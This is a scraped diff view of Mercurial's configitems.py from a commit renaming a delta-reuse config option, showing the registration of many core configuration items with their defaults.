##// END OF EJS Templates
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`...
marmoute -
r51102:f35cf52a default
parent child Browse files
Show More
@@ -1,2923 +1,2923 b''
1 # configitems.py - centralized declaration of configuration option
1 # configitems.py - centralized declaration of configuration option
2 #
2 #
3 # Copyright 2017 Pierre-Yves David <pierre-yves.david@octobus.net>
3 # Copyright 2017 Pierre-Yves David <pierre-yves.david@octobus.net>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8
8
9 import functools
9 import functools
10 import re
10 import re
11
11
12 from . import (
12 from . import (
13 encoding,
13 encoding,
14 error,
14 error,
15 )
15 )
16
16
17
17
18 def loadconfigtable(ui, extname, configtable):
18 def loadconfigtable(ui, extname, configtable):
19 """update config item known to the ui with the extension ones"""
19 """update config item known to the ui with the extension ones"""
20 for section, items in sorted(configtable.items()):
20 for section, items in sorted(configtable.items()):
21 knownitems = ui._knownconfig.setdefault(section, itemregister())
21 knownitems = ui._knownconfig.setdefault(section, itemregister())
22 knownkeys = set(knownitems)
22 knownkeys = set(knownitems)
23 newkeys = set(items)
23 newkeys = set(items)
24 for key in sorted(knownkeys & newkeys):
24 for key in sorted(knownkeys & newkeys):
25 msg = b"extension '%s' overwrite config item '%s.%s'"
25 msg = b"extension '%s' overwrite config item '%s.%s'"
26 msg %= (extname, section, key)
26 msg %= (extname, section, key)
27 ui.develwarn(msg, config=b'warn-config')
27 ui.develwarn(msg, config=b'warn-config')
28
28
29 knownitems.update(items)
29 knownitems.update(items)
30
30
31
31
32 class configitem:
32 class configitem:
33 """represent a known config item
33 """represent a known config item
34
34
35 :section: the official config section where to find this item,
35 :section: the official config section where to find this item,
36 :name: the official name within the section,
36 :name: the official name within the section,
37 :default: default value for this item,
37 :default: default value for this item,
38 :alias: optional list of tuples as alternatives,
38 :alias: optional list of tuples as alternatives,
39 :generic: this is a generic definition, match name using regular expression.
39 :generic: this is a generic definition, match name using regular expression.
40 """
40 """
41
41
42 def __init__(
42 def __init__(
43 self,
43 self,
44 section,
44 section,
45 name,
45 name,
46 default=None,
46 default=None,
47 alias=(),
47 alias=(),
48 generic=False,
48 generic=False,
49 priority=0,
49 priority=0,
50 experimental=False,
50 experimental=False,
51 ):
51 ):
52 self.section = section
52 self.section = section
53 self.name = name
53 self.name = name
54 self.default = default
54 self.default = default
55 self.alias = list(alias)
55 self.alias = list(alias)
56 self.generic = generic
56 self.generic = generic
57 self.priority = priority
57 self.priority = priority
58 self.experimental = experimental
58 self.experimental = experimental
59 self._re = None
59 self._re = None
60 if generic:
60 if generic:
61 self._re = re.compile(self.name)
61 self._re = re.compile(self.name)
62
62
63
63
64 class itemregister(dict):
64 class itemregister(dict):
65 """A specialized dictionary that can handle wild-card selection"""
65 """A specialized dictionary that can handle wild-card selection"""
66
66
67 def __init__(self):
67 def __init__(self):
68 super(itemregister, self).__init__()
68 super(itemregister, self).__init__()
69 self._generics = set()
69 self._generics = set()
70
70
71 def update(self, other):
71 def update(self, other):
72 super(itemregister, self).update(other)
72 super(itemregister, self).update(other)
73 self._generics.update(other._generics)
73 self._generics.update(other._generics)
74
74
75 def __setitem__(self, key, item):
75 def __setitem__(self, key, item):
76 super(itemregister, self).__setitem__(key, item)
76 super(itemregister, self).__setitem__(key, item)
77 if item.generic:
77 if item.generic:
78 self._generics.add(item)
78 self._generics.add(item)
79
79
80 def get(self, key):
80 def get(self, key):
81 baseitem = super(itemregister, self).get(key)
81 baseitem = super(itemregister, self).get(key)
82 if baseitem is not None and not baseitem.generic:
82 if baseitem is not None and not baseitem.generic:
83 return baseitem
83 return baseitem
84
84
85 # search for a matching generic item
85 # search for a matching generic item
86 generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
86 generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
87 for item in generics:
87 for item in generics:
88 # we use 'match' instead of 'search' to make the matching simpler
88 # we use 'match' instead of 'search' to make the matching simpler
89 # for people unfamiliar with regular expression. Having the match
89 # for people unfamiliar with regular expression. Having the match
90 # rooted to the start of the string will produce less surprising
90 # rooted to the start of the string will produce less surprising
91 # result for user writing simple regex for sub-attribute.
91 # result for user writing simple regex for sub-attribute.
92 #
92 #
93 # For example using "color\..*" match produces an unsurprising
93 # For example using "color\..*" match produces an unsurprising
94 # result, while using search could suddenly match apparently
94 # result, while using search could suddenly match apparently
95 # unrelated configuration that happens to contains "color."
95 # unrelated configuration that happens to contains "color."
96 # anywhere. This is a tradeoff where we favor requiring ".*" on
96 # anywhere. This is a tradeoff where we favor requiring ".*" on
97 # some match to avoid the need to prefix most pattern with "^".
97 # some match to avoid the need to prefix most pattern with "^".
98 # The "^" seems more error prone.
98 # The "^" seems more error prone.
99 if item._re.match(key):
99 if item._re.match(key):
100 return item
100 return item
101
101
102 return None
102 return None
103
103
104
104
105 coreitems = {}
105 coreitems = {}
106
106
107
107
108 def _register(configtable, *args, **kwargs):
108 def _register(configtable, *args, **kwargs):
109 item = configitem(*args, **kwargs)
109 item = configitem(*args, **kwargs)
110 section = configtable.setdefault(item.section, itemregister())
110 section = configtable.setdefault(item.section, itemregister())
111 if item.name in section:
111 if item.name in section:
112 msg = b"duplicated config item registration for '%s.%s'"
112 msg = b"duplicated config item registration for '%s.%s'"
113 raise error.ProgrammingError(msg % (item.section, item.name))
113 raise error.ProgrammingError(msg % (item.section, item.name))
114 section[item.name] = item
114 section[item.name] = item
115
115
116
116
117 # special value for case where the default is derived from other values
117 # special value for case where the default is derived from other values
118 dynamicdefault = object()
118 dynamicdefault = object()
119
119
120 # Registering actual config items
120 # Registering actual config items
121
121
122
122
123 def getitemregister(configtable):
123 def getitemregister(configtable):
124 f = functools.partial(_register, configtable)
124 f = functools.partial(_register, configtable)
125 # export pseudo enum as configitem.*
125 # export pseudo enum as configitem.*
126 f.dynamicdefault = dynamicdefault
126 f.dynamicdefault = dynamicdefault
127 return f
127 return f
128
128
129
129
130 coreconfigitem = getitemregister(coreitems)
130 coreconfigitem = getitemregister(coreitems)
131
131
132
132
133 def _registerdiffopts(section, configprefix=b''):
133 def _registerdiffopts(section, configprefix=b''):
134 coreconfigitem(
134 coreconfigitem(
135 section,
135 section,
136 configprefix + b'nodates',
136 configprefix + b'nodates',
137 default=False,
137 default=False,
138 )
138 )
139 coreconfigitem(
139 coreconfigitem(
140 section,
140 section,
141 configprefix + b'showfunc',
141 configprefix + b'showfunc',
142 default=False,
142 default=False,
143 )
143 )
144 coreconfigitem(
144 coreconfigitem(
145 section,
145 section,
146 configprefix + b'unified',
146 configprefix + b'unified',
147 default=None,
147 default=None,
148 )
148 )
149 coreconfigitem(
149 coreconfigitem(
150 section,
150 section,
151 configprefix + b'git',
151 configprefix + b'git',
152 default=False,
152 default=False,
153 )
153 )
154 coreconfigitem(
154 coreconfigitem(
155 section,
155 section,
156 configprefix + b'ignorews',
156 configprefix + b'ignorews',
157 default=False,
157 default=False,
158 )
158 )
159 coreconfigitem(
159 coreconfigitem(
160 section,
160 section,
161 configprefix + b'ignorewsamount',
161 configprefix + b'ignorewsamount',
162 default=False,
162 default=False,
163 )
163 )
164 coreconfigitem(
164 coreconfigitem(
165 section,
165 section,
166 configprefix + b'ignoreblanklines',
166 configprefix + b'ignoreblanklines',
167 default=False,
167 default=False,
168 )
168 )
169 coreconfigitem(
169 coreconfigitem(
170 section,
170 section,
171 configprefix + b'ignorewseol',
171 configprefix + b'ignorewseol',
172 default=False,
172 default=False,
173 )
173 )
174 coreconfigitem(
174 coreconfigitem(
175 section,
175 section,
176 configprefix + b'nobinary',
176 configprefix + b'nobinary',
177 default=False,
177 default=False,
178 )
178 )
179 coreconfigitem(
179 coreconfigitem(
180 section,
180 section,
181 configprefix + b'noprefix',
181 configprefix + b'noprefix',
182 default=False,
182 default=False,
183 )
183 )
184 coreconfigitem(
184 coreconfigitem(
185 section,
185 section,
186 configprefix + b'word-diff',
186 configprefix + b'word-diff',
187 default=False,
187 default=False,
188 )
188 )
189
189
190
190
191 coreconfigitem(
191 coreconfigitem(
192 b'alias',
192 b'alias',
193 b'.*',
193 b'.*',
194 default=dynamicdefault,
194 default=dynamicdefault,
195 generic=True,
195 generic=True,
196 )
196 )
197 coreconfigitem(
197 coreconfigitem(
198 b'auth',
198 b'auth',
199 b'cookiefile',
199 b'cookiefile',
200 default=None,
200 default=None,
201 )
201 )
202 _registerdiffopts(section=b'annotate')
202 _registerdiffopts(section=b'annotate')
203 # bookmarks.pushing: internal hack for discovery
203 # bookmarks.pushing: internal hack for discovery
204 coreconfigitem(
204 coreconfigitem(
205 b'bookmarks',
205 b'bookmarks',
206 b'pushing',
206 b'pushing',
207 default=list,
207 default=list,
208 )
208 )
209 # bundle.mainreporoot: internal hack for bundlerepo
209 # bundle.mainreporoot: internal hack for bundlerepo
210 coreconfigitem(
210 coreconfigitem(
211 b'bundle',
211 b'bundle',
212 b'mainreporoot',
212 b'mainreporoot',
213 default=b'',
213 default=b'',
214 )
214 )
215 coreconfigitem(
215 coreconfigitem(
216 b'censor',
216 b'censor',
217 b'policy',
217 b'policy',
218 default=b'abort',
218 default=b'abort',
219 experimental=True,
219 experimental=True,
220 )
220 )
221 coreconfigitem(
221 coreconfigitem(
222 b'chgserver',
222 b'chgserver',
223 b'idletimeout',
223 b'idletimeout',
224 default=3600,
224 default=3600,
225 )
225 )
226 coreconfigitem(
226 coreconfigitem(
227 b'chgserver',
227 b'chgserver',
228 b'skiphash',
228 b'skiphash',
229 default=False,
229 default=False,
230 )
230 )
231 coreconfigitem(
231 coreconfigitem(
232 b'cmdserver',
232 b'cmdserver',
233 b'log',
233 b'log',
234 default=None,
234 default=None,
235 )
235 )
236 coreconfigitem(
236 coreconfigitem(
237 b'cmdserver',
237 b'cmdserver',
238 b'max-log-files',
238 b'max-log-files',
239 default=7,
239 default=7,
240 )
240 )
241 coreconfigitem(
241 coreconfigitem(
242 b'cmdserver',
242 b'cmdserver',
243 b'max-log-size',
243 b'max-log-size',
244 default=b'1 MB',
244 default=b'1 MB',
245 )
245 )
246 coreconfigitem(
246 coreconfigitem(
247 b'cmdserver',
247 b'cmdserver',
248 b'max-repo-cache',
248 b'max-repo-cache',
249 default=0,
249 default=0,
250 experimental=True,
250 experimental=True,
251 )
251 )
252 coreconfigitem(
252 coreconfigitem(
253 b'cmdserver',
253 b'cmdserver',
254 b'message-encodings',
254 b'message-encodings',
255 default=list,
255 default=list,
256 )
256 )
257 coreconfigitem(
257 coreconfigitem(
258 b'cmdserver',
258 b'cmdserver',
259 b'track-log',
259 b'track-log',
260 default=lambda: [b'chgserver', b'cmdserver', b'repocache'],
260 default=lambda: [b'chgserver', b'cmdserver', b'repocache'],
261 )
261 )
262 coreconfigitem(
262 coreconfigitem(
263 b'cmdserver',
263 b'cmdserver',
264 b'shutdown-on-interrupt',
264 b'shutdown-on-interrupt',
265 default=True,
265 default=True,
266 )
266 )
267 coreconfigitem(
267 coreconfigitem(
268 b'color',
268 b'color',
269 b'.*',
269 b'.*',
270 default=None,
270 default=None,
271 generic=True,
271 generic=True,
272 )
272 )
273 coreconfigitem(
273 coreconfigitem(
274 b'color',
274 b'color',
275 b'mode',
275 b'mode',
276 default=b'auto',
276 default=b'auto',
277 )
277 )
278 coreconfigitem(
278 coreconfigitem(
279 b'color',
279 b'color',
280 b'pagermode',
280 b'pagermode',
281 default=dynamicdefault,
281 default=dynamicdefault,
282 )
282 )
283 coreconfigitem(
283 coreconfigitem(
284 b'command-templates',
284 b'command-templates',
285 b'graphnode',
285 b'graphnode',
286 default=None,
286 default=None,
287 alias=[(b'ui', b'graphnodetemplate')],
287 alias=[(b'ui', b'graphnodetemplate')],
288 )
288 )
289 coreconfigitem(
289 coreconfigitem(
290 b'command-templates',
290 b'command-templates',
291 b'log',
291 b'log',
292 default=None,
292 default=None,
293 alias=[(b'ui', b'logtemplate')],
293 alias=[(b'ui', b'logtemplate')],
294 )
294 )
295 coreconfigitem(
295 coreconfigitem(
296 b'command-templates',
296 b'command-templates',
297 b'mergemarker',
297 b'mergemarker',
298 default=(
298 default=(
299 b'{node|short} '
299 b'{node|short} '
300 b'{ifeq(tags, "tip", "", '
300 b'{ifeq(tags, "tip", "", '
301 b'ifeq(tags, "", "", "{tags} "))}'
301 b'ifeq(tags, "", "", "{tags} "))}'
302 b'{if(bookmarks, "{bookmarks} ")}'
302 b'{if(bookmarks, "{bookmarks} ")}'
303 b'{ifeq(branch, "default", "", "{branch} ")}'
303 b'{ifeq(branch, "default", "", "{branch} ")}'
304 b'- {author|user}: {desc|firstline}'
304 b'- {author|user}: {desc|firstline}'
305 ),
305 ),
306 alias=[(b'ui', b'mergemarkertemplate')],
306 alias=[(b'ui', b'mergemarkertemplate')],
307 )
307 )
308 coreconfigitem(
308 coreconfigitem(
309 b'command-templates',
309 b'command-templates',
310 b'pre-merge-tool-output',
310 b'pre-merge-tool-output',
311 default=None,
311 default=None,
312 alias=[(b'ui', b'pre-merge-tool-output-template')],
312 alias=[(b'ui', b'pre-merge-tool-output-template')],
313 )
313 )
314 coreconfigitem(
314 coreconfigitem(
315 b'command-templates',
315 b'command-templates',
316 b'oneline-summary',
316 b'oneline-summary',
317 default=None,
317 default=None,
318 )
318 )
319 coreconfigitem(
319 coreconfigitem(
320 b'command-templates',
320 b'command-templates',
321 b'oneline-summary.*',
321 b'oneline-summary.*',
322 default=dynamicdefault,
322 default=dynamicdefault,
323 generic=True,
323 generic=True,
324 )
324 )
325 _registerdiffopts(section=b'commands', configprefix=b'commit.interactive.')
325 _registerdiffopts(section=b'commands', configprefix=b'commit.interactive.')
326 coreconfigitem(
326 coreconfigitem(
327 b'commands',
327 b'commands',
328 b'commit.post-status',
328 b'commit.post-status',
329 default=False,
329 default=False,
330 )
330 )
331 coreconfigitem(
331 coreconfigitem(
332 b'commands',
332 b'commands',
333 b'grep.all-files',
333 b'grep.all-files',
334 default=False,
334 default=False,
335 experimental=True,
335 experimental=True,
336 )
336 )
337 coreconfigitem(
337 coreconfigitem(
338 b'commands',
338 b'commands',
339 b'merge.require-rev',
339 b'merge.require-rev',
340 default=False,
340 default=False,
341 )
341 )
342 coreconfigitem(
342 coreconfigitem(
343 b'commands',
343 b'commands',
344 b'push.require-revs',
344 b'push.require-revs',
345 default=False,
345 default=False,
346 )
346 )
347 coreconfigitem(
347 coreconfigitem(
348 b'commands',
348 b'commands',
349 b'resolve.confirm',
349 b'resolve.confirm',
350 default=False,
350 default=False,
351 )
351 )
352 coreconfigitem(
352 coreconfigitem(
353 b'commands',
353 b'commands',
354 b'resolve.explicit-re-merge',
354 b'resolve.explicit-re-merge',
355 default=False,
355 default=False,
356 )
356 )
357 coreconfigitem(
357 coreconfigitem(
358 b'commands',
358 b'commands',
359 b'resolve.mark-check',
359 b'resolve.mark-check',
360 default=b'none',
360 default=b'none',
361 )
361 )
362 _registerdiffopts(section=b'commands', configprefix=b'revert.interactive.')
362 _registerdiffopts(section=b'commands', configprefix=b'revert.interactive.')
363 coreconfigitem(
363 coreconfigitem(
364 b'commands',
364 b'commands',
365 b'show.aliasprefix',
365 b'show.aliasprefix',
366 default=list,
366 default=list,
367 )
367 )
368 coreconfigitem(
368 coreconfigitem(
369 b'commands',
369 b'commands',
370 b'status.relative',
370 b'status.relative',
371 default=False,
371 default=False,
372 )
372 )
373 coreconfigitem(
373 coreconfigitem(
374 b'commands',
374 b'commands',
375 b'status.skipstates',
375 b'status.skipstates',
376 default=[],
376 default=[],
377 experimental=True,
377 experimental=True,
378 )
378 )
379 coreconfigitem(
379 coreconfigitem(
380 b'commands',
380 b'commands',
381 b'status.terse',
381 b'status.terse',
382 default=b'',
382 default=b'',
383 )
383 )
384 coreconfigitem(
384 coreconfigitem(
385 b'commands',
385 b'commands',
386 b'status.verbose',
386 b'status.verbose',
387 default=False,
387 default=False,
388 )
388 )
389 coreconfigitem(
389 coreconfigitem(
390 b'commands',
390 b'commands',
391 b'update.check',
391 b'update.check',
392 default=None,
392 default=None,
393 )
393 )
394 coreconfigitem(
394 coreconfigitem(
395 b'commands',
395 b'commands',
396 b'update.requiredest',
396 b'update.requiredest',
397 default=False,
397 default=False,
398 )
398 )
399 coreconfigitem(
399 coreconfigitem(
400 b'committemplate',
400 b'committemplate',
401 b'.*',
401 b'.*',
402 default=None,
402 default=None,
403 generic=True,
403 generic=True,
404 )
404 )
405 coreconfigitem(
405 coreconfigitem(
406 b'convert',
406 b'convert',
407 b'bzr.saverev',
407 b'bzr.saverev',
408 default=True,
408 default=True,
409 )
409 )
410 coreconfigitem(
410 coreconfigitem(
411 b'convert',
411 b'convert',
412 b'cvsps.cache',
412 b'cvsps.cache',
413 default=True,
413 default=True,
414 )
414 )
415 coreconfigitem(
415 coreconfigitem(
416 b'convert',
416 b'convert',
417 b'cvsps.fuzz',
417 b'cvsps.fuzz',
418 default=60,
418 default=60,
419 )
419 )
420 coreconfigitem(
420 coreconfigitem(
421 b'convert',
421 b'convert',
422 b'cvsps.logencoding',
422 b'cvsps.logencoding',
423 default=None,
423 default=None,
424 )
424 )
425 coreconfigitem(
425 coreconfigitem(
426 b'convert',
426 b'convert',
427 b'cvsps.mergefrom',
427 b'cvsps.mergefrom',
428 default=None,
428 default=None,
429 )
429 )
430 coreconfigitem(
430 coreconfigitem(
431 b'convert',
431 b'convert',
432 b'cvsps.mergeto',
432 b'cvsps.mergeto',
433 default=None,
433 default=None,
434 )
434 )
435 coreconfigitem(
435 coreconfigitem(
436 b'convert',
436 b'convert',
437 b'git.committeractions',
437 b'git.committeractions',
438 default=lambda: [b'messagedifferent'],
438 default=lambda: [b'messagedifferent'],
439 )
439 )
440 coreconfigitem(
440 coreconfigitem(
441 b'convert',
441 b'convert',
442 b'git.extrakeys',
442 b'git.extrakeys',
443 default=list,
443 default=list,
444 )
444 )
445 coreconfigitem(
445 coreconfigitem(
446 b'convert',
446 b'convert',
447 b'git.findcopiesharder',
447 b'git.findcopiesharder',
448 default=False,
448 default=False,
449 )
449 )
450 coreconfigitem(
450 coreconfigitem(
451 b'convert',
451 b'convert',
452 b'git.remoteprefix',
452 b'git.remoteprefix',
453 default=b'remote',
453 default=b'remote',
454 )
454 )
455 coreconfigitem(
455 coreconfigitem(
456 b'convert',
456 b'convert',
457 b'git.renamelimit',
457 b'git.renamelimit',
458 default=400,
458 default=400,
459 )
459 )
460 coreconfigitem(
460 coreconfigitem(
461 b'convert',
461 b'convert',
462 b'git.saverev',
462 b'git.saverev',
463 default=True,
463 default=True,
464 )
464 )
465 coreconfigitem(
465 coreconfigitem(
466 b'convert',
466 b'convert',
467 b'git.similarity',
467 b'git.similarity',
468 default=50,
468 default=50,
469 )
469 )
470 coreconfigitem(
470 coreconfigitem(
471 b'convert',
471 b'convert',
472 b'git.skipsubmodules',
472 b'git.skipsubmodules',
473 default=False,
473 default=False,
474 )
474 )
475 coreconfigitem(
475 coreconfigitem(
476 b'convert',
476 b'convert',
477 b'hg.clonebranches',
477 b'hg.clonebranches',
478 default=False,
478 default=False,
479 )
479 )
480 coreconfigitem(
480 coreconfigitem(
481 b'convert',
481 b'convert',
482 b'hg.ignoreerrors',
482 b'hg.ignoreerrors',
483 default=False,
483 default=False,
484 )
484 )
485 coreconfigitem(
485 coreconfigitem(
486 b'convert',
486 b'convert',
487 b'hg.preserve-hash',
487 b'hg.preserve-hash',
488 default=False,
488 default=False,
489 )
489 )
490 coreconfigitem(
490 coreconfigitem(
491 b'convert',
491 b'convert',
492 b'hg.revs',
492 b'hg.revs',
493 default=None,
493 default=None,
494 )
494 )
495 coreconfigitem(
495 coreconfigitem(
496 b'convert',
496 b'convert',
497 b'hg.saverev',
497 b'hg.saverev',
498 default=False,
498 default=False,
499 )
499 )
500 coreconfigitem(
500 coreconfigitem(
501 b'convert',
501 b'convert',
502 b'hg.sourcename',
502 b'hg.sourcename',
503 default=None,
503 default=None,
504 )
504 )
505 coreconfigitem(
505 coreconfigitem(
506 b'convert',
506 b'convert',
507 b'hg.startrev',
507 b'hg.startrev',
508 default=None,
508 default=None,
509 )
509 )
510 coreconfigitem(
510 coreconfigitem(
511 b'convert',
511 b'convert',
512 b'hg.tagsbranch',
512 b'hg.tagsbranch',
513 default=b'default',
513 default=b'default',
514 )
514 )
515 coreconfigitem(
515 coreconfigitem(
516 b'convert',
516 b'convert',
517 b'hg.usebranchnames',
517 b'hg.usebranchnames',
518 default=True,
518 default=True,
519 )
519 )
520 coreconfigitem(
520 coreconfigitem(
521 b'convert',
521 b'convert',
522 b'ignoreancestorcheck',
522 b'ignoreancestorcheck',
523 default=False,
523 default=False,
524 experimental=True,
524 experimental=True,
525 )
525 )
526 coreconfigitem(
526 coreconfigitem(
527 b'convert',
527 b'convert',
528 b'localtimezone',
528 b'localtimezone',
529 default=False,
529 default=False,
530 )
530 )
531 coreconfigitem(
531 coreconfigitem(
532 b'convert',
532 b'convert',
533 b'p4.encoding',
533 b'p4.encoding',
534 default=dynamicdefault,
534 default=dynamicdefault,
535 )
535 )
536 coreconfigitem(
536 coreconfigitem(
537 b'convert',
537 b'convert',
538 b'p4.startrev',
538 b'p4.startrev',
539 default=0,
539 default=0,
540 )
540 )
541 coreconfigitem(
541 coreconfigitem(
542 b'convert',
542 b'convert',
543 b'skiptags',
543 b'skiptags',
544 default=False,
544 default=False,
545 )
545 )
546 coreconfigitem(
546 coreconfigitem(
547 b'convert',
547 b'convert',
548 b'svn.debugsvnlog',
548 b'svn.debugsvnlog',
549 default=True,
549 default=True,
550 )
550 )
551 coreconfigitem(
551 coreconfigitem(
552 b'convert',
552 b'convert',
553 b'svn.trunk',
553 b'svn.trunk',
554 default=None,
554 default=None,
555 )
555 )
556 coreconfigitem(
556 coreconfigitem(
557 b'convert',
557 b'convert',
558 b'svn.tags',
558 b'svn.tags',
559 default=None,
559 default=None,
560 )
560 )
561 coreconfigitem(
561 coreconfigitem(
562 b'convert',
562 b'convert',
563 b'svn.branches',
563 b'svn.branches',
564 default=None,
564 default=None,
565 )
565 )
566 coreconfigitem(
566 coreconfigitem(
567 b'convert',
567 b'convert',
568 b'svn.startrev',
568 b'svn.startrev',
569 default=0,
569 default=0,
570 )
570 )
571 coreconfigitem(
571 coreconfigitem(
572 b'convert',
572 b'convert',
573 b'svn.dangerous-set-commit-dates',
573 b'svn.dangerous-set-commit-dates',
574 default=False,
574 default=False,
575 )
575 )
576 coreconfigitem(
576 coreconfigitem(
577 b'debug',
577 b'debug',
578 b'dirstate.delaywrite',
578 b'dirstate.delaywrite',
579 default=0,
579 default=0,
580 )
580 )
581 coreconfigitem(
581 coreconfigitem(
582 b'debug',
582 b'debug',
583 b'revlog.verifyposition.changelog',
583 b'revlog.verifyposition.changelog',
584 default=b'',
584 default=b'',
585 )
585 )
586 coreconfigitem(
586 coreconfigitem(
587 b'debug',
587 b'debug',
588 b'revlog.debug-delta',
588 b'revlog.debug-delta',
589 default=False,
589 default=False,
590 )
590 )
591 # display extra information about the bundling process
591 # display extra information about the bundling process
592 coreconfigitem(
592 coreconfigitem(
593 b'debug',
593 b'debug',
594 b'bundling-stats',
594 b'bundling-stats',
595 default=False,
595 default=False,
596 )
596 )
597 # display extra information about the unbundling process
597 # display extra information about the unbundling process
598 coreconfigitem(
598 coreconfigitem(
599 b'debug',
599 b'debug',
600 b'unbundling-stats',
600 b'unbundling-stats',
601 default=False,
601 default=False,
602 )
602 )
603 coreconfigitem(
603 coreconfigitem(
604 b'defaults',
604 b'defaults',
605 b'.*',
605 b'.*',
606 default=None,
606 default=None,
607 generic=True,
607 generic=True,
608 )
608 )
609 coreconfigitem(
609 coreconfigitem(
610 b'devel',
610 b'devel',
611 b'all-warnings',
611 b'all-warnings',
612 default=False,
612 default=False,
613 )
613 )
614 coreconfigitem(
614 coreconfigitem(
615 b'devel',
615 b'devel',
616 b'bundle2.debug',
616 b'bundle2.debug',
617 default=False,
617 default=False,
618 )
618 )
619 coreconfigitem(
619 coreconfigitem(
620 b'devel',
620 b'devel',
621 b'bundle.delta',
621 b'bundle.delta',
622 default=b'',
622 default=b'',
623 )
623 )
624 coreconfigitem(
624 coreconfigitem(
625 b'devel',
625 b'devel',
626 b'cache-vfs',
626 b'cache-vfs',
627 default=None,
627 default=None,
628 )
628 )
629 coreconfigitem(
629 coreconfigitem(
630 b'devel',
630 b'devel',
631 b'check-locks',
631 b'check-locks',
632 default=False,
632 default=False,
633 )
633 )
634 coreconfigitem(
634 coreconfigitem(
635 b'devel',
635 b'devel',
636 b'check-relroot',
636 b'check-relroot',
637 default=False,
637 default=False,
638 )
638 )
639 # Track copy information for all file, not just "added" one (very slow)
639 # Track copy information for all file, not just "added" one (very slow)
640 coreconfigitem(
640 coreconfigitem(
641 b'devel',
641 b'devel',
642 b'copy-tracing.trace-all-files',
642 b'copy-tracing.trace-all-files',
643 default=False,
643 default=False,
644 )
644 )
645 coreconfigitem(
645 coreconfigitem(
646 b'devel',
646 b'devel',
647 b'default-date',
647 b'default-date',
648 default=None,
648 default=None,
649 )
649 )
650 coreconfigitem(
650 coreconfigitem(
651 b'devel',
651 b'devel',
652 b'deprec-warn',
652 b'deprec-warn',
653 default=False,
653 default=False,
654 )
654 )
655 coreconfigitem(
655 coreconfigitem(
656 b'devel',
656 b'devel',
657 b'disableloaddefaultcerts',
657 b'disableloaddefaultcerts',
658 default=False,
658 default=False,
659 )
659 )
660 coreconfigitem(
660 coreconfigitem(
661 b'devel',
661 b'devel',
662 b'warn-empty-changegroup',
662 b'warn-empty-changegroup',
663 default=False,
663 default=False,
664 )
664 )
665 coreconfigitem(
665 coreconfigitem(
666 b'devel',
666 b'devel',
667 b'legacy.exchange',
667 b'legacy.exchange',
668 default=list,
668 default=list,
669 )
669 )
670 # When True, revlogs use a special reference version of the nodemap, that is not
670 # When True, revlogs use a special reference version of the nodemap, that is not
671 # performant but is "known" to behave properly.
671 # performant but is "known" to behave properly.
672 coreconfigitem(
672 coreconfigitem(
673 b'devel',
673 b'devel',
674 b'persistent-nodemap',
674 b'persistent-nodemap',
675 default=False,
675 default=False,
676 )
676 )
677 coreconfigitem(
677 coreconfigitem(
678 b'devel',
678 b'devel',
679 b'servercafile',
679 b'servercafile',
680 default=b'',
680 default=b'',
681 )
681 )
682 coreconfigitem(
682 coreconfigitem(
683 b'devel',
683 b'devel',
684 b'serverexactprotocol',
684 b'serverexactprotocol',
685 default=b'',
685 default=b'',
686 )
686 )
687 coreconfigitem(
687 coreconfigitem(
688 b'devel',
688 b'devel',
689 b'serverrequirecert',
689 b'serverrequirecert',
690 default=False,
690 default=False,
691 )
691 )
692 coreconfigitem(
692 coreconfigitem(
693 b'devel',
693 b'devel',
694 b'strip-obsmarkers',
694 b'strip-obsmarkers',
695 default=True,
695 default=True,
696 )
696 )
697 coreconfigitem(
697 coreconfigitem(
698 b'devel',
698 b'devel',
699 b'warn-config',
699 b'warn-config',
700 default=None,
700 default=None,
701 )
701 )
702 coreconfigitem(
702 coreconfigitem(
703 b'devel',
703 b'devel',
704 b'warn-config-default',
704 b'warn-config-default',
705 default=None,
705 default=None,
706 )
706 )
707 coreconfigitem(
707 coreconfigitem(
708 b'devel',
708 b'devel',
709 b'user.obsmarker',
709 b'user.obsmarker',
710 default=None,
710 default=None,
711 )
711 )
712 coreconfigitem(
712 coreconfigitem(
713 b'devel',
713 b'devel',
714 b'warn-config-unknown',
714 b'warn-config-unknown',
715 default=None,
715 default=None,
716 )
716 )
717 coreconfigitem(
717 coreconfigitem(
718 b'devel',
718 b'devel',
719 b'debug.copies',
719 b'debug.copies',
720 default=False,
720 default=False,
721 )
721 )
722 coreconfigitem(
722 coreconfigitem(
723 b'devel',
723 b'devel',
724 b'copy-tracing.multi-thread',
724 b'copy-tracing.multi-thread',
725 default=True,
725 default=True,
726 )
726 )
727 coreconfigitem(
727 coreconfigitem(
728 b'devel',
728 b'devel',
729 b'debug.extensions',
729 b'debug.extensions',
730 default=False,
730 default=False,
731 )
731 )
732 coreconfigitem(
732 coreconfigitem(
733 b'devel',
733 b'devel',
734 b'debug.repo-filters',
734 b'debug.repo-filters',
735 default=False,
735 default=False,
736 )
736 )
737 coreconfigitem(
737 coreconfigitem(
738 b'devel',
738 b'devel',
739 b'debug.peer-request',
739 b'debug.peer-request',
740 default=False,
740 default=False,
741 )
741 )
742 # If discovery.exchange-heads is False, the discovery will not start with
742 # If discovery.exchange-heads is False, the discovery will not start with
743 # remote head fetching and local head querying.
743 # remote head fetching and local head querying.
744 coreconfigitem(
744 coreconfigitem(
745 b'devel',
745 b'devel',
746 b'discovery.exchange-heads',
746 b'discovery.exchange-heads',
747 default=True,
747 default=True,
748 )
748 )
749 # If devel.debug.abort-update is True, then any merge with the working copy,
749 # If devel.debug.abort-update is True, then any merge with the working copy,
750 # e.g. [hg update], will be aborted after figuring out what needs to be done,
750 # e.g. [hg update], will be aborted after figuring out what needs to be done,
751 # but before spawning the parallel worker
751 # but before spawning the parallel worker
752 coreconfigitem(
752 coreconfigitem(
753 b'devel',
753 b'devel',
754 b'debug.abort-update',
754 b'debug.abort-update',
755 default=False,
755 default=False,
756 )
756 )
757 # If discovery.grow-sample is False, the sample size used in set discovery will
757 # If discovery.grow-sample is False, the sample size used in set discovery will
758 # not be increased through the process
758 # not be increased through the process
759 coreconfigitem(
759 coreconfigitem(
760 b'devel',
760 b'devel',
761 b'discovery.grow-sample',
761 b'discovery.grow-sample',
762 default=True,
762 default=True,
763 )
763 )
764 # When discovery.grow-sample.dynamic is True, the default, the sample size is
764 # When discovery.grow-sample.dynamic is True, the default, the sample size is
765 # adapted to the shape of the undecided set (it is set to the max of:
765 # adapted to the shape of the undecided set (it is set to the max of:
